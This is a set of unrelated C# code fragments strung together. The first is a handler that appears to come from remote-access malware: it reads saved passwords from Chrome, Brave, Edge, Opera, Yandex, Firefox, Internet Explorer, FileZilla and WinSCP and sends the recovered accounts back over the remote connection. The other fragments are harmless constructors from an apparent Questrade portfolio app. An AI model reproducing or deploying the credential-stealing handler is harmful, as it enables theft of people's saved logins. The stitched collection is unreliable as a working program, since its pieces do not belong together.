private void Execute(ISender client, GetPasswords message) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); var passReaders = new IAccountReader[] { new BravePassReader(), new ChromePassReader(), new OperaPassReader(), new OperaGXPassReader(), new EdgePassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), new FileZillaPassReader(), new WinScpPassReader() }; foreach (var passReader in passReaders) { try { recovered.AddRange(passReader.ReadAccounts()); } catch (Exception e) { Debug.WriteLine(e); } } client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
public ConnectionSynchronizer( IAccountReader accountReader, IAccountWriter accountWriter, ISymbolReader symbolReader, ISymbolWriter symbolWriter, ICurrencyReader currencyReader, ITokenizer tokenizer) { AccountReader = accountReader; AccountWriter = accountWriter; SymbolReader = symbolReader; SymbolWriter = symbolWriter; CurrencyReader = currencyReader; Tokenizer = tokenizer; }
public Reporter( IConnectionReader connectionReader, IAccountReader accountReader, IExcludeReader excludeReader, IAllocationReader allocationReader, IAssetClassReader assetClassReader, ICurrencyReader currencyReader) { ConnectionReader = connectionReader; AccountReader = accountReader; ExcludeReader = excludeReader; AllocationReader = allocationReader; AssetClassReader = assetClassReader; CurrencyReader = currencyReader; }
public HomeController( IAuthenticationClient authenticationClient, IQuestradeSettings questradeSettings, ITokenizer tokenizer, IConnectionReader connectionReader, IAccountReader accountReader, IConnectionSynchronizer connectionSynchronizer, ICurrencySynchronizer currencySynchronizer, IPortfolioReader portfolioReader, IReporter reporter) { AuthenticationClient = authenticationClient; QuestradeSettings = questradeSettings; Tokenizer = tokenizer; ConnectionReader = connectionReader; AccountReader = accountReader; ConnectionSynchronizer = connectionSynchronizer; CurrencySynchronizer = currencySynchronizer; PortfolioReader = portfolioReader; Reporter = reporter; }
private AppContext() { _appSettingsReader = new AppSettingsReader(); _accountReader = new AccountReader(); }